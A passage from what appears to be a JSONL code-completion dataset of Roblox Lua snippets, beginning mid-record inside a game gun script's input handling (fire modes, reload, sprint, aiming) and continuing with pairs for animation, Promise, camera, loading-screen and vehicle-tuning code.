Enum.KeyCode.DPadUp and not L_67_ and not L_75_ then\n\t\t\tL_67_ = true\n\t\t\tif L_88_ == 1 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.AutoEnabled then\n\t\t\t\t\tL_88_ = 2\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_88_ = 3\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_88_ = 4\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_88_ = 6\n\t\t\t\t\tL_79_ = true\n\t\t\t\t\tL_80_ = L_66_\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_88_ = 1\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\tend\n\t\t\telseif L_88_ == 2 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BurstEnabled then\n\t\t\t\t\tL_88_ = 3\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_88_ = 4\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_88_ = 6\n\t\t\t\t\tL_79_ = true\n\t\t\t\t\tL_80_ = L_66_\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_88_ = 1\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then\n\t\t\t\t\tL_88_ = 2\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\tend\n\t\t\telseif L_88_ == 3 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BoltAction then\n\t\t\t\t\tL_88_ = 4\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_88_ = 6\n\t\t\t\t\tL_79_ = true\n\t\t\t\t\tL_80_ = L_66_\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_88_ = 1\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_88_ = 2\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then\n\t\t\t\t\tL_88_ = 3\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\tend\n\t\t\telseif L_88_ == 4 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_88_ = 6\n\t\t\t\t\tL_79_ = true\n\t\t\t\t\tL_80_ = L_66_\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\telseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_88_ = 1\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_88_ = 2\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_88_ = 3\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then\n\t\t\t\t\tL_88_ = 4\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\tend\n\t\t\telseif L_88_ == 6 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tL_81_ = L_66_\n\t\t\t\tif L_24_.SemiEnabled then\n\t\t\t\t\tL_88_ = 1\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_88_ = 2\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_88_ = 3\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_88_ = 4\n\t\t\t\t\tL_79_ = false\n\t\t\t\t\tL_66_ = L_80_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then\n\t\t\t\t\tL_88_ = 6\n\t\t\t\t\tL_79_ = true\n\t\t\t\t\tL_80_ = L_66_\n\t\t\t\t\tL_66_ = L_81_\n\t\t\t\tend\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\t\tFireModeAnim()\n\t\t\tIdleAnim()\n\t\t\tL_67_ = false\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.F or L_303_arg1.KeyCode == Enum.KeyCode.DPadDown and not L_74_ and not L_75_ and not L_64_ and not L_67_ and not L_61_ and not L_63_ and not Shooting and not L_73_ then\t\t\t\n\t\t\tif not L_70_ and not L_71_ then\n\t\t\t\tL_71_ = true\n\t\t\t\tShooting = false\n\t\t\t\tL_66_ = false\n\t\t\t\tL_128_ = time()\n\t\t\t\tdelay(0.6, function()\n\t\t\t\t\tif L_97_ ~= L_24_.Ammo and L_97_ > 0 then\n\t\t\t\t\t\tCreateShell()\n\t\t\t\t\tend\n\t\t\t\tend)\t\n\t\t\t\tBoltBackAnim()\n\t\t\t\tL_70_ = true\n\t\t\telseif L_70_ and L_71_ then\n\t\t\t\tBoltForwardAnim()\n\t\t\t\tShooting = false\n\t\t\t\tL_66_ = true\n\t\t\t\tif L_97_ ~= L_24_.Ammo and L_97_ > 0 then\n\t\t\t\t\tL_97_ = L_97_ - 1\n\t\t\t\telseif L_97_ >= L_24_.Ammo then\n\t\t\t\t\tL_66_ = true\n\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\tL_70_ = false\n\t\t\t\tL_71_ = false\n\t\t\t\tIdleAnim()\n\t\t\t\tL_72_ = false\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.LeftShift or L_303_arg1.KeyCode == Enum.KeyCode.ButtonL3 and not L_75_ and not L_74_ and L_139_ and not L_61_ then\n\t\t\tL_68_ = true\n\t\t\tif L_15_ and not L_67_ and not L_64_ and L_68_ and not L_62_ and not L_71_ then\n\t\t\t\tShooting = false\n\t\t\t\tL_61_ = false\n\t\t\t\tL_64_ = true\n\t\t\t\t\t\t\n\t\t\t\tdelay(0, function()\n\t\t\t\t\tif L_64_ and not L_63_ then\n\t\t\t\t\t\tL_61_ = false\n\t\t\t\t\t\tL_69_ = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tL_93_ = 80\n\t\t\t\tL_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed\n\t\t\t\tL_148_ = L_24_.SprintSpeed\n\t\t\t\tL_147_ = 0.4\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.R or L_303_arg1.KeyCode == Enum.KeyCode.ButtonX and not L_75_ and not L_74_ and L_15_ and not L_63_ and not L_61_ and not Shooting and not L_64_ and not L_71_ then\t\t\n\t\t\tif not L_79_ then\t\t\t\n\t\t\t\tif L_98_ > 0 and L_97_ < L_24_.Ammo then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_63_ = true\n\t\t\t\t\tReloadAnim()\n\t\t\t\t\tif L_97_ <= 0 then\n\t\t\t\t\t\tif not L_24_.CanSlideLock then\n\t\t\t\t\t\t\tBoltBackAnim()\n\t\t\t\t\t\t\tBoltForwardAnim()\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\t\n\t\t\t\t\tif L_97_ <= 0 then\n\t\t\t\t\t\tif (L_98_ - (L_24_.Ammo - L_97_)) < 0 then\n\t\t\t\t\t\t\tL_97_ = L_97_ + L_98_\n\t\t\t\t\t\t\tL_98_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_98_ = L_98_ - (L_24_.Ammo - L_97_)\n\t\t\t\t\t\t\tL_97_ = L_24_.Ammo\n\t\t\t\t\t\tend\n\t\t\t\t\telseif L_97_ > 0 then\n\t\t\t\t\t\tif (L_98_ - (L_24_.Ammo - L_97_)) < 0 then\n\t\t\t\t\t\t\tL_97_ = L_97_ + L_98_ + 1\n\t\t\t\t\t\t\tL_98_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_98_ = L_98_ - (L_24_.Ammo - L_97_)\n\t\t\t\t\t\t\tL_97_ = L_24_.Ammo + 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\n\t\t\t\t\tL_63_ = false\n\t\t\t\t\tif not L_72_ then\n\t\t\t\t\t\tL_66_ = true\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telseif L_79_ then\n\t\t\t\tif L_99_ > 0 then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_63_ = true\n\t\t\t\t\tnadeReload()\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_63_ = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\tend\n\t\t\tend;\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.RightBracket and L_61_ then\n\t\t\tif (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_61_ then\n\t\t\tif (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_303_arg1.KeyCode == Enum.KeyCode.T or L_303_arg1.KeyCode == Enum.KeyCode.DPadLeft and L_1_:FindFirstChild(\"AimPart2\") then\n\t\t\tif not L_82_ then\n\t\t\t\tL_53_ = L_1_:WaitForChild(\"AimPart2\")\n\t\t\t\tL_50_ = L_24_.CycleAimZoom\n\t\t\t\tif L_61_ then\n\t\t\t\t\tL_93_ = L_24_.CycleAimZoom\n\t\t\t\tend\n\t\t\t\tL_82_ = true\n\t\t\telse\n\t\t\t\tL_53_ = L_1_:FindFirstChild(\"AimPart\")\n\t\t\t\tL_50_ = L_24_.AimZoom\n\t\t\t\tif L_61_ then\n\t\t\t\t\tL_93_ = L_24_.AimZoom\n\t\t\t\tend\n\t\t\t\tL_82_ = false\n\t\t\tend;\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == L_24_.InspectionKey and not L_75_ then\n\t\t\tif not L_74_ then\n\t\t\t\tL_74_ = true\n\t\t\t\tInspectAnim()\n\t\t\t\tIdleAnim()\n\t\t\t\tL_74_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_303_arg1.KeyCode == L_24_.AttachmentKey and not L_74_ then\n\t\t\tif L_15_ then\n\t\t\t\tif not L_75_ then\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_61_ = false\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tL_75_ = true\n\t\t\t\t\t\n\t\t\t\t\tAttachAnim()\n\t\t\t\telseif L_75_ then\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_61_ = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\tL_75_ = false\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_101_.InputEnded:connect(function(L_308_arg1, L_309_arg2)\n\tif not L_309_arg2 and L_15_ then\n\t\tif L_308_arg1.UserInputType == Enum.UserInputType.MouseButton2 or L_308_arg1.KeyCode == Enum.KeyCode.ButtonL2 and not L_74_ and L_24_.CanAim and not L_75_ then\n\t\t\tif L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_148_ = 17\n\t\t\t\t\tL_147_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_93_ = 70\n\t\t\t\tL_126_.target = Vector3.new()\n\t\t\t\tL_109_:FireServer(false)\n\t\t\t\tL_61_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_76_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_76_ = false\n\t\t\tL_78_ = false\n\t\t\tL_77_ = false\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_76_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_76_ = false\n\t\t\tL_78_ = false\n\t\t\tL_77_ = false\n\t\tend\n\t\t\n\t\tif L_308_arg1.KeyCode == L_24_.AlternateAimKey and not L_74_ and L_24_.CanAim then\n\t\t\tif L_61_ then\n\t\t\t\tif not L_62_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_148_ = 17\n\t\t\t\t\tL_147_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_93_ = 70\n\t\t\t\tL_126_.target = Vector3.new()\n\t\t\t\tL_109_:FireServer(false)\n\t\t\t\tL_61_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.UserInputType == Enum.UserInputType.MouseButton1 or L_308_arg1.KeyCode == Enum.KeyCode.ButtonR2 and not L_74_ then\n\t\t\tL_65_ = false\t\t\t\t\n\t\t\tif Shooting then\n\t\t\t\tShooting = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.E and L_15_ then\n\t\t\tlocal L_310_ = L_42_:WaitForChild('GameGui')\n\t\t\tif L_16_ then\n\t\t\t\tL_310_:WaitForChild('AmmoFrame').Visible = false\n\t\t\t\tL_16_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_308_arg1.KeyCode == Enum.KeyCode.LeftShift or L_308_arg1.KeyCode == Enum.KeyCode.ButtonL3 and not L_74_ and not L_67_ and not L_62_ then -- SPRINT\n\t\t\tL_68_ = false\n\t\t\tif L_64_ and not L_61_ and not Shooting and not L_68_ then\n\t\t\t\tL_64_ = false\n\t\t\t\tL_69_ = false\n\t\t\t\tL_93_ = 70\n\t\t\t\n\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\t\n\t\t\t\tL_148_ = 17\n\t\t\t\tL_147_ = .25\t\t\t\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_101_.InputChanged:connect(function(L_311_arg1, L_312_arg2)\n\tif not L_312_arg2 and L_15_ and L_24_.FirstPersonOnly and L_61_ then\n\t\tif L_311_arg1.UserInputType == Enum.UserInputType.MouseWheel then\n\t\t\tif L_311_arg1.Position.Z == 1 and (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\telseif L_311_arg1.Position.Z == -1 and (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_101_.InputChanged:connect(function(L_313_arg1, L_314_arg2)\n\tif not L_314_arg2 and L_15_ then\n\t\tlocal L_315_, L_316_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_53_.CFrame.p, (L_53_.CFrame.lookVector).unit * 10000), IgnoreList);\n\t\tif L_315_ then\n\t\t\tlocal L_317_ = (L_316_ - L_6_.Position).magnitude\n\t\t\tL_33_.Text = math.ceil(L_317_) .. ' m'\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- return to idle if finishing an emote", "completion": "\nif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\noldAnim = \"idle\"\nend\n\ncurrentAnim = \"\"\ncurrentAnimInstance = nil\nif (currentAnimKeyframeHandler ~= nil) then\ncurrentAnimKeyframeHandler:disconnect()\nend\n\nif (currentAnimTrack ~= nil) then\ncurrentAnimTrack:Stop()\ncurrentAnimTrack:Destroy()\ncurrentAnimTrack = nil\nend\nreturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\nif speed ~= currentAnimSpeed then\ncurrentAnimSpeed = speed\ncurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\nend\nend\n\nfunction keyFrameReachedFunc(frameName)\nif (frameName == \"End\") then\n\nlocal repeatAnim = currentAnim"} +{"prompt": "--[=[\n\tAccepts an array of Promises and returns a new promise that:\n\t* is resolved after all input promises resolve.\n\t* is rejected if *any* input promises reject.\n\n\t:::info\n\tOnly the first return value from each promise will be present in the resulting array.\n\t:::\n\n\tAfter any input Promise rejects, all other input Promises that are still pending will be cancelled if they have no other consumers.\n\n\t```lua\n\tlocal promises = {\n\t\treturnsAPromise(\"example 1\"),\n\t\treturnsAPromise(\"example 2\"),\n\t\treturnsAPromise(\"example 3\"),\n\t}\n\n\treturn Promise.all(promises)\n\t```\n\n\t@param promises {Promise}\n\t@return Promise<{T}>\n]=]", "completion": "\nfunction Promise.all(promises)\n\treturn Promise._all(debug.traceback(nil, 2), promises)\nend\n"} +{"prompt": "--[[*\n * Creates a matcher function from one or more glob patterns. The\n * returned function takes a string to match as its first argument,\n * and returns true if the string is a match. The returned matcher\n * function also takes a boolean as the second argument that, when true,\n * returns an object with additional information.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch(glob[, options]);\n *\n * const isMatch = picomatch('*.!(*a)');\n * console.log(isMatch('a.a')); //=> false\n * console.log(isMatch('a.b')); //=> true\n * ```\n * @name picomatch\n * @param {String|Array} `globs` One or more glob patterns.\n * @param {Object=} `options`\n * @return {Function=} Returns a matcher function.\n * @api public\n ]]", "completion": "\n"} +{"prompt": "---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ", "completion": "\n\nfunction updatechar()\n\t\n\tfor _, v in pairs(character:GetChildren())do\n\t\tif CanViewBody then\n\t\t\tif v.Name == 'Head' then\n\t\t\t\tv.LocalTransparencyModifier = 1\n\t\t\t\tv.CanCollide = false\n\t\t\tend\n\t\telse\n\t\t\tif v:IsA'Part' or v:IsA'UnionOperation' or v:IsA'MeshPart' then\n\t\t\t\tv.LocalTransparencyModifier = 1\n\t\t\t\tv.CanCollide = false\n\t\t\tend\n\t\tend\n\t\tif v:IsA'Accessory' then\n\t\t\tv:FindFirstChild('Handle').LocalTransparencyModifier = 1\n\t\t\tv:FindFirstChild('Handle').CanCollide = false\n\t\tend\n\t\tif v:IsA'Hat' then\n\t\t\tv:FindFirstChild('Handle').LocalTransparencyModifier = 1\n\t\t\tv:FindFirstChild('Handle').CanCollide = false\n\t\tend\n\n\tend\n\t\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction onDied()\n\tsDied:Play()\nend\n\nfunction onState(state, sound)\n\tif state then\n\t\tsound:Play()\n\telse\n\t\tsound:Pause()\n\tend\nend\n\nfunction onRunning(speed)\n\tif speed>0.01 then\n\t\tsRunning:Play()\n\telse\n\t\tsRunning:Pause()\n\tend\nend\n"} +{"prompt": "-- Add icons to an overflow if they overlap the screen bounds or other icons", "completion": "\nlocal function bindCamera()\n\tif not workspace.CurrentCamera then return end\n\tif cameraConnection and cameraConnection.Connected then\n\t\tcameraConnection:Disconnect()\n\tend\n\tcameraConnection = workspace.CurrentCamera:GetPropertyChangedSignal(\"ViewportSize\"):Connect(IconController.updateTopbar)\nend\n"} +{"prompt": "--// Gather instances/parts", "completion": "\nfor _, instance in pairs (workspace.Lobby:GetDescendants()) do\n\tif instance:IsA(\"BasePart\") then\n\t\t\n\tend\nend\n\nspawn(function()\n\tcp:PreloadAsync(ia)\n\tloaded = true\nend)\n\nlocal total = #ia\nlocal assetLoaded = {}\n\nfunction checkLoaded(asset)\n\tif asset:IsA(\"Sound\") then\n\t\treturn assetLoaded[asset.SoundId]\n\telse\n\t\treturn assetLoaded[asset.Image]\n\tend\nend\n\nlocal was = 0\nwhile not loaded do\n\tlocal t = 0\n\tfor _, asset in pairs (hud:GetDescendants()) do\n\t\tif (asset:IsA(\"ImageButton\") or asset:IsA(\"ImageLabel\") or asset:IsA(\"Sound\")) and not checkLoaded(asset) and asset.isLoaded then\n\t\t\tif asset:IsA(\"Sound\") then\n\t\t\t\tassetLoaded[asset.SoundId] = true\n\t\t\telse\n\t\t\t\tassetLoaded[asset.Image] = true\n\t\t\tend\n\t\t\tt = t + 1\n\t\tend\n\tend\n\tif t > was then\n\t\tbg:TweenSize(UDim2.new(1, 0, bg.Position.Y.Scale - (t / 100), 32), \"Out\", \"Linear\", 0.15)\n\t\twas = t\n\tend\n\twarn (t, \"out of\", total, \"assets loaded!\")\n\tif t >= total then\n\t\tloaded = true\n\t\tbreak\n\tend\n\twait(0.5)\nend\nif loaded then\n\twarn \"LOADING COMPLETE\"\n\tbg:TweenSize(UDim2.new(1, 0, 0, 0), \"Out\", 'Linear', 0.15)\n\thud.HUDEngine.Doing.LoadingIngame.Value = false\nend\n"} +{"prompt": "-- TUNING VALUES\n----------------------------------------\n-- Factor of torque applied to get the wheels spinning\n-- Larger number generally means faster acceleration", "completion": "\nlocal TORQUE = 10000\n"} +{"prompt": "-- Table of camera controllers that have been instantiated. They are instantiated as they are used.", "completion": "\nlocal instantiatedCameraControllers = {}\nlocal instantiatedOcclusionModules = {}\n"} +{"prompt": "--[[**\n\tensures value is a number where value > 0\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nt.numberPositive = t.numberMinExclusive(0)\n"} +{"prompt": "--local Sprinting =false", "completion": "\nlocal L_136_ = L_112_.new(Vector3.new())\nL_136_.s = 15\nL_136_.d = 0.5\n\ngame:GetService(\"UserInputService\").InputChanged:connect(function(L_259_arg1) --Get the mouse delta for the gun sway\n\tif L_259_arg1.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tL_131_ = math.min(math.max(L_259_arg1.Delta.x, -L_133_), L_133_)\n\t\tL_132_ = math.min(math.max(L_259_arg1.Delta.y, -L_133_), L_133_)\n\tend\nend)\n\nL_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still\n\tL_131_ = 0\n\tL_132_ = 0\nend)\n\nlocal L_137_ = false\nlocal L_138_ = CFrame.new()\nlocal L_139_ = CFrame.new()\n\nlocal L_140_ = 0\nlocal L_141_ = CFrame.new()\nlocal L_142_ = 0.1\nlocal L_143_ = 2\n\nlocal L_144_ = 0\nlocal L_145_ = .2\nlocal L_146_\t= 17\n\nlocal L_147_ = 0\nlocal L_148_ = 5\nlocal L_149_ = .3\n\n\n\nlocal L_150_, L_151_ = 0, 0\n\nlocal L_152_ = nil\nlocal L_153_ = nil\nlocal L_154_ = nil\n\nL_3_.Humanoid.Running:connect(function(L_260_arg1)\n\tif L_260_arg1 > 1 then\n\t\tL_137_ = true\n\telse\n\t\tL_137_ = false\n\tend\nend)\n"} +{"prompt": "--[[Standardized Values: Don't touch unless needed]]", "completion": "\n\t\n\t--[WEIGHT // Cubic stud : pounds ratio]\n\tTune.WeightScaling = 1/50\t--Default = 1/50 (1 cubic stud = 50 lbs)\n\t\nreturn Tune\n"} +{"prompt": "--- Update the text entry label", "completion": "\nfunction Window:UpdateLabel()\n\tEntry.TextLabel.Text = Player.Name .. \"@\" .. self.Cmdr.PlaceName .. \"$\"\n\tEntry.TextLabel.Size = UDim2.new(0, Entry.TextLabel.TextBounds.X, 0, 20)\n\tEntry.TextBox.Position = UDim2.new(0, Entry.TextLabel.Size.X.Offset + 7, 0, 0)\nend\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tlocal scale = 15.0\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / scale)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool and (tool.RequiresHandle or tool:FindFirstChild(\"Handle\")) then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + 